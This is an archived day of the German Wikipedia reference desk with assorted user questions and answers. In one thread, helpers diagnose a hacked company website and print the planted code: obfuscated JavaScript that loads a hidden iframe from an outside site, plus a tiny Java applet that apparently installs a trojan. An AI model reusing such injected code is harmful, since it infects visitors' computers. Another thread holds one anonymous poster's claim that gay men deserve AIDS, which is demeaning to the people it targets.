Hallo, ist Aids eigentlich eine Strafe Gottes? Die Ursachen dieser Krankheiten sind doch i.d.R. auf verderblich sündige Greueltaten zurückzuführen.--88.75.18.126 22:48, 25. Mär. 2010 (CET)[Beantworten]

Ist hier eine Troll-IP unterwegs, die gezielt provokante Fragen stellt, um Diskussionen auszulösen, aber eigentlich keine Auskunft haben möchte? Wenn nicht: Frage einen Priester/Pfarrer/wasweißich deines Vertrauens! -- Don-kun Diskussion Bewertung 22:50, 25. Mär. 2010 (CET)[Beantworten]
<quetsch> mit „wasweißich“ meintes du wahrscheinlich diese Leute ;-)----Zaphiro Ansprache? 23:09, 25. Mär. 2010 (CET)[Beantworten]
Na vielleicht bevozugt die IP ja Rabbiner, Imame oder Wudu-Priester. -- Don-kun Diskussion Bewertung 23:13, 25. Mär. 2010 (CET)[Beantworten]
tja manche sind da wohl aber noch etwas rigoroser ;-)----Zaphiro Ansprache? 23:17, 25. Mär. 2010 (CET)[Beantworten]
Heute gab's schon extra viel davon. -jkb- 22:52, 25. Mär. 2010 (CET)[Beantworten]
Gott straft auch Pharisäer, indem er ihnen den Verstand beschränkt, so dass sie seltsame Fragen stellen. --FK1954 22:55, 25. Mär. 2010 (CET)[Beantworten]
Amen. Lukas 13,4+5. --Björn 23:09, 25. Mär. 2010 (CET)[Beantworten]
AIDS ist eine Strafe eines Gottes, es ist nur umstritten, welcher Gott daran schuld ist. -- Martin Vogel 23:12, 25. Mär. 2010 (CET)[Beantworten]
Gegenfrage: Sind Krebs, Karies, Hämorrhoiden, Aknepickel (und was den menschlichen Körper noch befallen kann) denn ein Geschenk Gottes? Holstenbär 23:13, 25. Mär. 2010 (CET)[Beantworten]
Es ist was es ist, sagt die Liebe --188.23.186.0 23:40, 25. Mär. 2010 (CET)[Beantworten]
i.d.R. ... verderblich sündige Greueltaten: Unvorsichtigkeit, mangelnde Hygiene, Unwissenheit, Pech usw. sind Ursachen der Verbreitung dieser Immunschwäche. Dafür dann Gott verantwortlich zu machen ist ein typischer Fall von Schuldverschiebung - vor allem wenn man einfach nur unvorsichtig war... tsts... Wenn ich ein Gott wäre, würde ich mir sowas verbieten. --91.32.154.220 01:02, 26. Mär. 2010 (CET)[Beantworten]
Verbieten oder verbitten oder verbeten haben wollen? :) --84.191.60.120 03:01, 26. Mär. 2010 (CET) [Beantworten]
Der Fachbegriff von Schuldverschiebung nennt sich wohl Projektion (Psychoanalyse)----Zaphiro Ansprache? 01:06, 26. Mär. 2010 (CET)[Beantworten]
Da gibt es doch noch so einen Gegenspieler, Teufel heisst der, vielleicht hat der seine Finger im Spiel. Von dem hört man eigentlich in letzter Zeit wenig, nachdem man ihm seine Vorhölle abgeschafft hat. Dabei könnte man dem doch auch noch was anderes aktuelles zuschieben.--91.56.213.32 07:48, 26. Mär. 2010 (CET)[Beantworten]
Nachdem der katholische Ritus mit Sündenbekenntnis nicht wirklich zu funktionieren scheint, obwohl Gott ein Arzt sein soll (vgl 2. Mose 15,26) dürfte es da ein anderes Problem geben, denn die Wunderheilungen sind in dem Bereich eher dürftig --188.23.183.74 08:28, 26. Mär. 2010 (CET)[Beantworten]
Aber, wenn man der Sache auf den Grund gehen will -> in welchen Ländern sind die wenigsten Aids-Kranken -> welchen Gott haben die, und wie leben die Ihre "wasweißich"? --188.23.183.74 08:30, 26. Mär. 2010 (CET)[Beantworten]
Clever! Wollte ich gestern schon schreiben. Man sehe sich das Vorkommen von AIDS in Afrika in Abhängigkeit des vorherrschenden Glaubens in den verschiedenen Ländern an. Allah scheint da erheblich netter mit seinen Anhängern umzugehen. <ironie> Oder China! Haben die überhaupt AIDS??</ironie> G! GG nil nisi bene 09:20, 26. Mär. 2010 (CET)[Beantworten]
Es ist allerdings nicht von der Hand zu weisen, dass eine ungenügende Allgemeinbildung, die zu Aberglaube führt (in Afrika weit verbreitet), den Umgang mit Infektionskrankheiten nicht einfacher macht. Ähnliches gilt übrigens auch für Landbewohner in China. --Ayacop 10:34, 26. Mär. 2010 (CET)[Beantworten]
Umgekehrt ist aber auch nicht von der Hand zu weisen, dass zu Zeiten eines institutionellen Glaubens-TÜV wie der Inquisition AIDS nicht vorkam. --Zinnmann d 10:41, 26. Mär. 2010 (CET)[Beantworten]
Und was ist dann mit der Pest? Die wurde auch als Strafe Gottes angesehen, bevor man den Zusammenhang erkannte. Und wer nicht davon überzeugt war, der sah es als Komplott der Juden oder Hexen an. Ich hätte gedacht, die Zeiten seien vorbei, aber offensichtlich nicht. --Sr. F 11:26, 26. Mär. 2010 (CET)[Beantworten]
Hier wurde aber nur nach AIDS gefragt - und das gab es damals nicht. Aber es gab die Inquisition. Also hat die Inquisition AIDS verhindert. OK, die Pest hat sie nicht verhindert. Gesicherte Belege für die Pest gibt es erst nach der Nutzung des Feuers durch den Menschen. Das ist dieses Prometheus-Zeus-Pandora-Ding. Um auch die Pest zuverlässig zu vermeiden, benötigen wir also nicht nur eine Inquisition, sondern sollten auch kein Feuer mehr verwenden. Eigentlich logisch, oder? --Zinnmann d 11:40, 26. Mär. 2010 (CET)[Beantworten]

Diese Frage würde sicher von den Religionen verschieden beantwortet werden können. Da unterschiedliche Gottesbilder vertreten sind. Schon konkret zwischen Judentum und Christentum oder Innerchristlich würden Theologen und Gläubige anders antworten. Im modernen Christentum würde man sicher von einem guten und gütigen ausgehen. -- PogoEngel 09:41, 26. Mär. 2010 (CET)[Beantworten]

Ich halte mich an Gautama Siddhartas Erkenntnis; wenn man weiß was das Leiden auslöst, so verschwindet das Leiden --188.23.179.240 11:17, 26. Mär. 2010 (CET) Guckst du Hier OO und auch HIER 00/==/oo[Beantworten]
An Benutzer: ["Ixitixel"], unabhängig, wie du diese Sache hier interpretieren mögest, ist es kein Grund einfach die [komplette Diskussion] zu entfernen. Kommentiere doch bitte deinen Standpunkt.--88.72.138.194 11:28, 26. Mär. 2010 (CET)[Beantworten]
Im Neuen Testament leugnet Jesus einen solchen unmittelbaren Zusammenhang zwischen angeblich sündigem Leben und einem schweren Schicksal. Insofern ist die Eingangsfrage aus christlicher Sicht klar mit nein zu beantworten. --Φ 15:27, 26. Mär. 2010 (CET)[Beantworten]
@Φ, Christus leugnet nicht einen Zusammenhang sondern er sagt das alle sündig sind, das bedeutet im Umkehrschluss das einer der frei von Sünden ist, sehr wohl das Glück haben kann gesund zu sein, oder aber Krankheiten zu überstehen oder zu überleben (vgl Markus 16/16)--188.23.67.185 19:27, 26. Mär. 2010 (CET)[Beantworten]
Falsch: Christus leugnet, dass die, die beim Einsturz des Turmes von Siloah umkamen, sündiger waren als alle anderen, also sind alle gleich sündig. Und er sagt auch, dass es keinen gibt, der frei von Sünde ist - dass ist einzig Christus. es gibt keinen tun-Ergehen-Zusammenhang. --Φ 20:41, 26. Mär. 2010 (CET)[Beantworten]
Jesus sprach "Wer von Euch ist ohne Sünde, der werfe den ersten Stein". Kommt ein Stein geflogen und trifft die Sünderin am Kopf. Jesus: "Mama, du nervst!". Gruss, --Cú Faoil RM-RH 22:03, 26. Mär. 2010 (CET)[Beantworten]

Nein, AIDS ist keine Strafe Gottes, da es gar keinen Gott gibt. Ja, ich bin ja schon still... -- Chaddy · D·B - DÜP 19:32, 26. Mär. 2010 (CET)[Beantworten]

Benutzer Chaddy, wusstest Du schon, Jesus liebt auch dich. Aber, es wäre sehr schade für Dich, wenn Du dies nicht mitbekommst. Der Tag wird kommen und Du wirst Dich rechtfertigen müssen. Bedenke wohl!--88.72.138.194 20:10, 26. Mär. 2010 (CET)[Beantworten]
Jawohl! All die AIDS-kranken Kinder werden für ihr sündiges Leben bestraft. Das haben sie nun davon. --FK1954 20:31, 26. Mär. 2010 (CET)[Beantworten]
Niemand wird mit Schuld geboren! Aber da gibt es andere, die für solche "Belastungen" verantwortbar sind. In Röm 1,27 heißt es, desgleichen haben auch die Männer den natürlichen Verkehr mit der Frau verlassen und sind in Begierde zueinander entbrannt und haben Mann mit Mann Schande getrieben und den Lohn ihrer Verwirrung, wie es ja sein mußte, an sich selbst empfangen.--88.72.138.194 20:46, 26. Mär. 2010 (CET)[Beantworten]
Die IP glaubt offenbar nicht an Erbsünde. Darf ich fragen, welche interessante christliche Konfession das sein soll? Gruss, --Cú Faoil RM-RH 21:28, 26. Mär. 2010 (CET) PS: Von Gott gesandt ist bekanntlich nur die Epilepsie, lass die Aidskranken da mal hübsch draussen.[Beantworten]
zum beispiel Freikirchen (das ist aber keine "konfession", sondern viele kleine einzelsekten, eher evangelisch orientiert). grüße, --itsnotuitsme d | b 21:30, 26. Mär. 2010 (CET)[Beantworten]
Ja du hast recht, eine unüberlegte Wortwahl meinerseits. Natürlich gibt es die Erbsünde, welche erst mit dem Taufbekenntnis abgelegt werden kann.--88.72.138.194 21:50, 26. Mär. 2010 (CET)[Beantworten]
Ich bin zwar nicht religiös, aber hier muss ich Jesus, Mohammed, Buddha etc. in Schutz nehmen, die sind nicht daran schuld. Zu deren Zeit gab es AIDS noch nicht. -- Martin Vogel 22:08, 26. Mär. 2010 (CET)[Beantworten]

wenn es eine strafe gottes ist, warum können dann auch unschuldige leute angesteckt werden? (z.B. bluttransfusion nach einem unfall)? 217.227.103.33 22:34, 26. Mär. 2010 (CET)[Beantworten]

Weil die Prädestinationslehre Recht hatte. Oder so. Gruss, --Cú Faoil RM-RH 22:46, 26. Mär. 2010 (CET)[Beantworten]
Den Willen des HERRN können wir nicht nachvollziehen.--88.72.138.194 22:48, 26. Mär. 2010 (CET)[Beantworten]
Passt immer. --FK1954 22:51, 26. Mär. 2010 (CET)[Beantworten]
Wenn AIDS eine Strafe Gottes wäre, warum sollten dann Kondome schützen? --MannMaus 22:57, 26. Mär. 2010 (CET)[Beantworten]
Kondome sind ein Werkzeug des Teufels, die können sowas. Deswegen mag sie der Papst auch nicht besonders... -- Chaddy · D·B - DÜP 23:11, 26. Mär. 2010 (CET)[Beantworten]
LOL! Langsam wird's lächerlich. Wer behaupet das, die katholische Kirch, wirklich? Die Frage ist, für was benötigt einer dieses Zeugs. Wenn alles schön im Rahmen bleibt benötigt man diese Liebestöter nicht. Bei der Masse der Infizierten, höchstwahrscheinlich keine "Gummifreunde" scheint aber wohl nicht alles im Rahmen verlaufen zu sein --88.72.138.194 23:36, 26. Mär. 2010 (CET)[Beantworten]
Anonyme [IP 88.66.195.109 ] versucht die ganze DISK zu löschen. Dass ist nicht in Ordnung. Auch der einfache flapsig formulierte HW ist ungenügend für eine derart intensiv anhaltende DISK. Stelle dich doch lieber der Diskussion. Ansonsten, vergelt's Gott!--88.72.138.194 23:53, 26. Mär. 2010 (CET)[Beantworten]
WP:DISK. --88.66.195.109 00:18, 27. Mär. 2010 (CET)[Beantworten]

26. März 2010

Aussprache von Gabourey Sidibe

Wie spricht man Gabourey Sidibe aus? --Schlu32 00:52, 26. Mär. 2010 (CET)[Beantworten]

/ˈɡæbʉrˌeɪ ˈsɪdiˌbeɪ/ laut englisch(sprachig)en Kollegen. -- Arcimboldo 05:37, 26. Mär. 2010 (CET)[Beantworten]

Frage zum Test für Medizinische Studiengänge und Studienplatztausch

Baden-Württemberg schreibt ja mittlerweile wieder den Test_für_Medizinische_Studiengänge vor. Mal angenommen, man hat einen Medizin-Studienplatz in einem anderen Bundesland zugeteilt bekommen, möchte aber lieber an einer Baden-Württembergischen Uni studieren, und hat auch einen entsprechenden Tauschpartner in einer Studienplatz-Tauschbörse gefunden. Muss man dann noch den Test machen, bevor man das Studium in Baden-Württemberg auch wirklich antreten darf? --78.43.60.58 01:11, 26. Mär. 2010 (CET)[Beantworten]

Diese Seite schon studiert: http://www.tms-info.org/index.php?ID=70 ? --тнояsтеn 12:06, 26. Mär. 2010 (CET)[Beantworten]

Rotationsrichtung von Himmelskörpern

Im Artikel "Titan (Mond)" fiel mir im Abschnitt "Rotation" auf, daß die Rotationsrichung falsch eingetragen war (Ost nach West statt West nach Ost). Das habe ich erst einmal korrigiert. Natürlich drehen sich die meisten Planeten und großen Monde nach Osten. Darum geht ja auch die Sonne im Osten auf.

Bei einer weiteren stichprobenartigen Nachschau bemerkte ich im Artikel "Erde, Abschnitt Rotation", daß hier zwar die Drehrichtung (Osten) richtig angegeben ist, dieser Vorgang aber im gleichen Satz als rechtläufige Rotation genannt wird. Ist das wirklich richtig? Rechtläufig bedeutet für mich "im Uhrzeigersinn". Die Rotation nach Osten erfolgt aber gegen den Uhrzeigersinn, für mich also linksläufig.

Im Artikel "Erde-Mond-Schwerpunkt" befindet sich eine Animation, die den Umlauf von Erde und Mond illustriert. Diese Animation dreht sich ebenfalls im Uhrzeigersinn, also gegenüber der Realität falsch herum. Sollte das nich korrigiert werden? (Ich weiß. ich rege hier eine ziemliche Fleißaufgabe an, zumal ich nicht weiß, in wievielen hundert Artikeln die falsch-herumme Animation oder ggf auch Rotationsrichtung angegeben ist). --Ch.Weg 01:51, 26. Mär. 2010 (CET)[Beantworten]

Ob sich ein Himmelskörper "rechts" oder "links" herum dreht ist eine Frage des Standpunkts - wenn für den Betrachter oben und unten nicht definiert sind. Stellt sich der Betrachter auf den Kopf (was er im Weltraum ja ohne weiteres kann), erscheint die Drehrichtung umgekehrt. Schaut man "von oben" auf einen rotierenden Körper und stellt fest, er dreht sich "im Uhrzeigersinn", dann braucht man den gleichen Körper nur "von unten" zu betrachten und wird feststellen, dass er sich jetzt gegen den Uhrzeigersinn dreht. Die Drehrichtungen "von West nach Ost" und umgekehrt setzen ebenfalls einen Bezugspunkt (Norden/Süden) voraus. --Snevern (Mentorenprogramm) 06:16, 26. Mär. 2010 (CET)[Beantworten]
"Die Drehrichtungen "von West nach Ost" und umgekehrt setzen ebenfalls einen Bezugspunkt (Norden/Süden) voraus" - Na ja, so stimmts nicht: die Drehrichtung von West nach Ost setzt keinen Bezugspunkt voraus, Westen ist immer da, wo die Sonne untergeht und Osten da, wo sie aufgeht, egal wo ich stehe und in welche Richtung ich schaue. Aber ob bei einer Drehrichtung von W nach O diese Drehrichtung im Uhrzeigersinn ist oder im Gegenuhrzeigersinn, hängt davon ab, ob ich so stehe, dass ich in Richtung Norden oder Süden blicke StephanPsy 07:40, 26. Mär. 2010 (CET)[Beantworten]
"im Artikel "Erde, Abschnitt Rotation", daß hier zwar die Drehrichtung (Osten) richtig angegeben ist, dieser Vorgang aber im gleichen Satz als rechtläufige Rotation genannt wird." - Wenn man so steht, dass man nach Norden schaut, dann ist diese Drehrichtung im Uhrzeigersinn - StephanPsy 07:46, 26. Mär. 2010 (CET)[Beantworten]
etwas verwirrend ist das Ganze auch deswegen, weil ja bei einer Drehrichtung der Erde von West nach Ost der wahrgenommene Sternenhimmel sich nachts genau umgekehrt zu bewegen scheint, bei Blickrichtung nach Süden bewegt sich der Sternenhimmel scheinbar von Ost nach West im Uhrzeigersinn, siehe auch hier: http://de.wikipedia.org/wiki/Stern#Scheinbare_Bewegung_des_Sternenhimmels - StephanPsy 08:33, 26. Mär. 2010 (CET)[Beantworten]
Siehe rechtläufig und rückläufig. --Wrongfilter ... 09:11, 26. Mär. 2010 (CET)[Beantworten]

Bahnsteig 13

wie heißen die leute die bei der bahnsteig 13 spielen (nicht signierter Beitrag von 88.68.121.185 (Diskussion | Beiträge) 07:45, 26. Mär. 2010 (CET)) [Beantworten]

Gibt es denn überhaupt Bahnsteige mit der Nummer 13?--134.2.3.103 09:01, 26. Mär. 2010 (CET)[Beantworten]
Das Geheimnis von Bahnsteig 13? --Geri 09:30, 26. Mär. 2010 (CET)[Beantworten]
@134.2.3.103: Der Münchener Hauptbahnhof verfügt über insgesamt 18 Bahnsteige [25] und der Hauptbahnhof in Frankfurt am Main in der Haupthalle über 13 Fernbahnsteige [26]. Allerdings sind nach meiner Erinnerung in der Regel nicht die Bahnsteige sondern die Gleise numeriert. --84.191.48.132 11:11, 26. Mär. 2010 (CET)[Beantworten]
In Nürnberg gibt es ein Gleis 13 aber eben keinen Bahnsteig 13. Dachte das wär überall so. --134.2.3.103 17:27, 26. Mär. 2010 (CET)[Beantworten]
Ich glaube, einen Bahnsteig 13 gab es früher mal im alten England - keine Ahnung, ob das heute noch so ist. Aber im deutschsprachigen Raum und wohl auch sonst im kontinentalen Europa werden die Gleise numeriert, seltener buchstabiert. BerlinerSchule. 18:13, 26. Mär. 2010 (CET)[Beantworten]
In England würde man tatsächlich platform (Bahnsteig) 13 sagen. Streng genommen werden aber dennoch nicht die Bahnsteige nummeriert, sondern die Gleise. Ein Bahnsteig zwischen zwei Gleisen hat also zwei Nummern, wie bei uns. Der Artikel en:Railway platform erklärt das schon in der Einleitung sehr schön. Da steht auch, dass man in den USA track (Gleis) sagt. --Frage-Antwort-System 21:15, 26. Mär. 2010 (CET)[Beantworten]
Der Hauptbahnhof in Frankfurt am Main im Jahr 1960. Und nun die Preisfrage: Bezeichnet die "13" hier einen Bahnsteig oder ein Gleis (empfohlen)? Und wie heißen die Leute?
Der Artikel Bahnsteig teilt etwas verwirrend mit: „Sofern ein Hausbahnsteig vorhanden ist, wird dieser fast immer als Gleis 1 oder Bahnsteig 1 bezeichnet und ist Ausgangspunkt der Nummerierung aller weiteren Gleise.“ Und unsere englischen Kollegen behaupten: „Only Cardiff Central, Haymarket, Stockport, (in the UK), Uppsala, (Sweden) and Lidcombe, Sydney (Australia) have a platform 0 (zero); other stations number their platforms consecutively from 1.“ In dem legendären Bahnhof King’s Cross geht es allerdings nicht um die geheime Nummer eines Bahnsteigs sondern um das geheime Gleis 9¾. Ich schlage vor, bei Bedarf weitere und detailliertere Auskünfte über Genesis, Aufstieg und Niedergang und die damit verbundenen örtlichen Feinheiten einer zeitgenössischen Bahnsteigbezeichnung bei den vielköpfigen Experten des Portals Bahn einzuholen. --84.191.48.132 21:30, 26. Mär. 2010 (CET)[Beantworten]
Die Antwort zum Frankfurter Bild lautet "Gleis 13": Wie sich auch aus dem Bild ergibt, steht auf dem Puffer des rechts benachbarten Gleises "14". Gruß -- Dr.cueppers - Disk. 23:01, 26. Mär. 2010 (CET)[Beantworten]
Nicht auf dem Puffer, sondern auf dem Prellbock. Wie der junge Mann heißt, der offenbar nicht die FAZ mit Frakturschrift liest, weiß ich nicht, aber als Pufferküsser kenn ich die Namen der Dampfloks :-) --Schlesinger schreib! 23:07, 26. Mär. 2010 (CET)[Beantworten]

Steuerreform durch Glaubhaftmachung der eigenen Steuerehrlichkeit bei Nutzung öffentlicher Güter

In Deutschland ist das Steuersystem kompliziert, von Ausnahmetatbeständen geprägt, nicht der Regel der gleichmäßigen Besteuerung gehorchend. Könnte man eine gerechte Steuerreform dadurch erreichen, daß man die Nutzung öffentlicher Güter von dem Nachweis des Grades seiner Steuerehrlichkeit und seines echten Betrags zum Gemeinwesen abhängig macht ? Kann mit dieser Politisierung des Alltags eine positive Rückwirkung auf das Ganze erreicht werden ? --84.176.102.2 09:03, 26. Mär. 2010 (CET)[Beantworten]

Wenn vollkommene Steuerehrlichkeit jedes Buergers die Grundannahme der Steuergesetzgebung ist, wie willst Du dann ein System von Ehrlichkeitsgraden einfuehren (sprich: definieren), das nicht gerade ein Katalysator fuer eine neue Korruption ist? -- Arcimboldo 09:23, 26. Mär. 2010 (CET)[Beantworten]

Holzmenge beim Osterfeuer

Gibt es Daten, wieviel Holz deutschlandweit zu Ostern verbrannt wird? --80.153.163.105 09:47, 26. Mär. 2010 (CET)[Beantworten]

Kommt drauf wie groß das Feuer werden soll ?-- PogoEngel 09:50, 26. Mär. 2010 (CET)[Beantworten]

Und welche Art von Osterfeuer meinst du es gibt ja "weltliche" und "kirchliche" ? -- PogoEngel 09:52, 26. Mär. 2010 (CET)[Beantworten]

Ich glaube, die Frage zielt auf die Gesamtmenge. --Eingangskontrolle 10:51, 26. Mär. 2010 (CET)[Beantworten]

Ja stimmt - lesen müßte man können. PogoEngel 10:58, 26. Mär. 2010 (CET)[Beantworten]


Da sölltest du auch noch die Hexen- und Walpurgisfeuer mit hinzurechnen. Mengen sind schwer auszumachen, da i.d.R. der Frühjahrs-Verschnitt anfällt, im Grunde nicht viel Derbholz. Früher, kenn ich noch aus DDR-Zeiten, verbrannten wir auch alte Matratzen und Gummireifen. Bald wird wahrscheinlich eine "Klimasteuer" auf dergleichen erhoben werden.--88.72.138.194 12:41, 26. Mär. 2010 (CET)[Beantworten]

Seltsame Fehlermeldung beim Aufruf von unserer Website

Beim Aufruf unserer geschäftlichen Website kommt neuerdings eine Fehlermeldung dass die "Anwendung "Java Player"" ein ungültiges Zertifikat hat. Wir haben aber an der Website nichts geändert. Kann bitte jemand helfen und einen Hinweis geben was das Problem sein könnte? FreddyE 11:38, 26. Mär. 2010 (CET)[Beantworten]

Das ganze ist etwas merkwürdig. Beim Aufruf von http://www.egger-donau.de/ lädt mein Browser http://www.egger-donau.de/index.html. Dort befinden sich mehrere Dinge: Einerseits wird über ein Javascript ein etwas kryptischer Code zur Einbindung eines Iframes geladen (eingebunden wird http://forskarskolan.se/media/dir/index.php), andererseits wird ein Java-Applet geladen, das unter http://www.egger-donau.de/javaplayer.jar zu erreichen ist. Schließlich wird auf http://www.egger-donau.de/index.php umgeleitet, wo sich die eigentliche Webseite befindet.
Der genaue Code sieht so aus:
<Script Language='Javascript'>
<!--
document.write(unescape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%66%6F%72%73%6B%61%72%73%6B%6F%6C%61:%6E%2E%73%65%2F%6D%65%64%69%61%2F%64%69%72%2F%69%6E%64%65%78%2E%70%68%70%22%20%77%69%64%74%68%3D%22%30%22%20%68%65%69%67%68%74%3D%22%30%22%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%3E%3C%2F%69%66%72%61%6D%65%3E'));
//-->
</Script>
<applet width='1' height='1' code='javaplayer.class' archive='javaplayer.jar'> </applet>
<meta HTTP-EQUIV="REFRESH" content="20; url=index.php">
Ich vermute, dass euch da jemand diese merkwürdige index.html-Datei untergeschoben hat und damit irgendeinen Blödsinn bezweckt. Das Löschen der HTML-Datei sollte das Problem jedoch zumindest für's erste lösen. --ProfessorFether 12:16, 26. Mär. 2010 (CET)[Beantworten]
(BK) Liegt an diesem Aufruf im Quelltext der zuerst aufgerufenen Seite (wahrscheinlich index.htm oder index.html):
<applet width='1' height='1' code='javaplayer.class' archive='javaplayer.jar'> </applet>
<meta HTTP-EQUIV="REFRESH" content="20; url=index.php">
Dort ist ein Java-Applet eingebunden, warum auch immer (hab das Applet nicht geladen, das dürfen andere testen). Nach 20 Sekunden wird weitergeleitet auf die index.php. Also am besten standardmäßig gleich diese php-Datei aufrufen. --тнояsтеn 12:18, 26. Mär. 2010 (CET)[Beantworten]
Nicht nur die oben beschrieben Sache ist es, sonder mehr noch, wer keine guten Virenschutz auf seinem PC hat fängt sich noch beim öffnen der Webseite einen Trojaner ein. --Nur Leser 13:51, 26. Mär. 2010 (CET)[Beantworten]
Desweiteren solltet ihr zunächst einige Sicherheitsmaßnahmen ergreifen. Als erstes solltet ihr die Passwörter für FTP-Zugänge zum Webspace ändern. Dann solltet ihr darauf achten, dass die aktuellste Joomla-Version installiert ist. Möglicherweise konnte der Angreifer eine Sicherheitslücke in Joomla nutzen, um die Dateien in eurem Webspace zu platzieren. Es könnte evtl. auch nicht schaden, den Webhoster zu benachrichtigen, möglicherweise haben andere Kunden ein ähnliches Problem. --Dunni 15:49, 26. Mär. 2010 (CET)[Beantworten]
ich habe TR/Dldr.Agent.dauh drauf, was nun damit? --62.143.74.253 15:52, 26. Mär. 2010 (CET)[Beantworten]
McAfee Stinger, F-Secure Onlinescanner --93.128.160.195 23:28, 26. Mär. 2010 (CET)[Beantworten]

mein Hund

Jetzt habe ich wieder mal eine saublöde Frage, und zwar; mein Hund -> Dogo Argentino ich liebe ihn hat eine ganz besondere Eigenart, denn wenn er mal des Nachts, wegen Verdauungsbeschwerden raus muss, dann ist es so, das er mich aufwecken kann, bei einer Freundin ist es auch so hat auch einen Dogo Und das seltsame ist, er sitzt vor dem Bett und starrt mich mit großen Augen an - es ist aber nicht so, das ich seinen Atem spüre, sondern er sitzt 1m vor meinem Bett und - ich weiß es klingt absurd, aber es ist so - und weckt mich irgendwie ?Mental? auf, Bei Eltern speziell Müttern und Ihren Kindern ist es doch auch irgendwie so, Ich hab dafür aber keine Erklärung, hat jemand eine solche?

--188.23.179.240 11:55, 26. Mär. 2010 (CET)[Beantworten]

Kann ja sein, dass er irgendwelche Geräusche macht oder dich berührt, und du merkst das im Schlaf, aber bis du richtig wach bist, sitzt er schon ganz ruhig da und du hast den Rest nur nicht bewusst registriert. --Sr. F 12:05, 26. Mär. 2010 (CET)[Beantworten]
klingt schlüssig, lass ich mir aber nicht genügen ;-), denn vielleicht kennt Dies jemand -> wenn man irgendwo weiß das man angestarrt oder angeblickt wird, das spürt man irgendwie, oder ist dies auch nur Einbildung? zB merkte ich letztens bei meinem Bastler am Eck - der hat sich nue eingerichtet, und ich fühlte mich dann beobachtet, und Ei-Padauz als ich raus ging war da doch tatsächlich so ein kleines Bild auf der Eingangstüre "Achtung Video-überwacht" --188.23.179.240 12:11, 26. Mär. 2010 (CET)[Beantworten]
Wie oft fühlst Du dich in solchen Geschäften überwacht und bemerkst beim Verlassen kein entsprechendes Schild? Wie häufig wachst Du auf, ohne dass Dein Hund Dich anstarrt? Wie häufig starrt Dein Hund Dich an, ohne dass Du aufwachst? Gruss, --Cú Faoil RM-RH 22:33, 26. Mär. 2010 (CET)[Beantworten]
Selektive Wahrnehmung? --92.192.118.121 12:19, 26. Mär. 2010 (CET)[Beantworten]
So etwas Ähnliches vermute ich auch. Wenn zum beispiel morgens mein Wecker bimmeln soll oder jemand in meine Nähe kommt, werde ich sofort wach. Ich vermute mal, dass das Aufwachen bei Veränderungen im Ruheraum eine Art innere Schutzfunktion darstellt, die vor Angriffen o.ä. schützen soll. Scheint aber bei jedem unterschiedlich ausgeprägt zu sein.-- Nephiliskos 12:21, 26. Mär. 2010 (CET)[Beantworten]

bin gerade über den Artikel Intuition gestolpert, selektive Wahrnehmung schließe ich mal aus--188.23.179.240 12:23, 26. Mär. 2010 (CET)[Beantworten]

Lässt mich spontan an Rupert Sheldrake denken. Siehe en:Psychic staring effect. --Rudolph H 13:30, 26. Mär. 2010 (CET)[Beantworten]
Die werden größtenteils als Spinner abgetan, bin gerade vor die Wikipedia-Mauer geknallt Telepathie und Parapsychologie sind die Fachbegriffe, aber weithin als Schwachsinn abgetan obwohl ich mir schon denke, das ein Gedanke ja eine Art von Energie ist (Neuronen zucken und blitzen), und damit könnte eine Schwingung in Bewegung gesetzt werden Aber was weiß man schon? Irgendwer erzählte mir von einem Marko Pogačnik der irgendwelche Beeindruckende Erdheilung-Meditationen machen soll - das tat ich damals auch als Unsinn ab --188.23.179.240 13:40, 26. Mär. 2010 (CET)[Beantworten]
Ich dachte spontan an Der Fänger im Roggen, wo es – wie ich glaube zu erinnern – der Antagonist ist, der den kleinen Bruder auf diese Weise weckt.
Zu bedenken dürfte wohl sein, dass man ja nicht die ganze Nacht durch tief und fest schläft, es vielmehr Phasen gibt, wo der Schlaf sehr leicht ist. In einer solchen Leichtschlafphase dürfte die Anwesenheit des Hundes ausreichen (der ja auch atmet, was in der Stille der Nacht durchaus anders wahrgenommen wird als sonst).
Außerdem: Wer weiß, wie lange der Hund schon starrte und ob er nicht vorher tatsächlich Geräusche (winseln o.ä.) von sich gab (was man ja einmal überwachen könnte mittels Videoanlage :o) ) --Ian DuryHit me 13:58, 26. Mär. 2010 (CET)[Beantworten]
+1 (D'OH! Zu lange getippt...) Hunde sind die Viecher, die es am besten gelernt haben, Menschen zu lesen - mit Abstand. Und ein Hund dieser Grösse MACHT Geräusche. Er starrt dich nicht an, er beobachtet dich genauestens - und er hat ein Bedürfnis(!). Wenn er die kleinste Regung bei dir entdeckt (Bewegung, Schnaufer etc.), wird er das kommentieren (Fiepen, Bewegung, was auch immer). Du bist durch deine Reaktion auch nicht mehr so tief im Schlaf, also wird es leichter sein, aufzuwachen. Ausserdem - wenn das zur Routine wird - erwartet dein Körper nächtliche Aktion von D.A. (= Der Aufwecker) ("Mein Hund und ich, wir verstehen uns ohne Worte!"). Auf lange Sicht stelle ich mir das - für dich - stressig vor. Immer nachts raus. Andererseits bereitet dich dein Hund damit auf die Zeit in 40 Jahren vor, wenn du dem mentalen(!) und körperlichen Sonnenuntergang entgegen schlurfen wirst... Da braucht man dann nachts keinen Hund mehr, um aufzuwachen... G! GG nil nisi bene 14:02, 26. Mär. 2010 (CET)[Beantworten]
das wird es wohl sein, nur bilde ich mir eben ein, das mein Hund nicht winselt sondern dann einfach unruhig ist ( da werde ich das winseln wohl nicht bewusst wahrgenommen haben), aber das scheint mir auch eine Erklärung zu sein; Gott sei Dank hat er nicht so oft die Scheisserei --188.23.179.240 14:13, 26. Mär. 2010 (CET)[Beantworten]
Schön das auch dies abschließend geklärt wurde ... Das wäre mal ein schöner Titel für einen Grenzwissenschaftlichen Aufsatz "Durchfallinduzierte Interspeziestelepathie bei Dogo Argentinos" --FNORD 14:20, 26. Mär. 2010 (CET)[Beantworten]

Die Uni in Graz nimmt sowas auch als Doktorarbeit an.--91.56.205.52 14:32, 26. Mär. 2010 (CET)[Beantworten]

Oder Ihr beide - Dein Hund und Du - habt gemeinsam diniert, dabei etwa die gleiche Menge derselben Gerichte verspeist und dann im Schlafe eben synchron verdaut, weshalb Ihr dann gemeinsam, höchstens um einige Minuten versetzt, aufwacht, weil Ihr beide mal den Waschraum aufzusuchen gedenkt. In dem Moment, in dem Du deinen treuen Vierbeiner dort unverwandt stehen und Dich waschraumhalber anschauen siehst, denkst Du vor allem an den Hund und an die Synchronizität des Erwachens und verspürst das leichte Drückgefühl im Unterbauche deshalb nicht sofort bewusst. BerlinerSchule. 15:08, 26. Mär. 2010 (CET)[Beantworten]
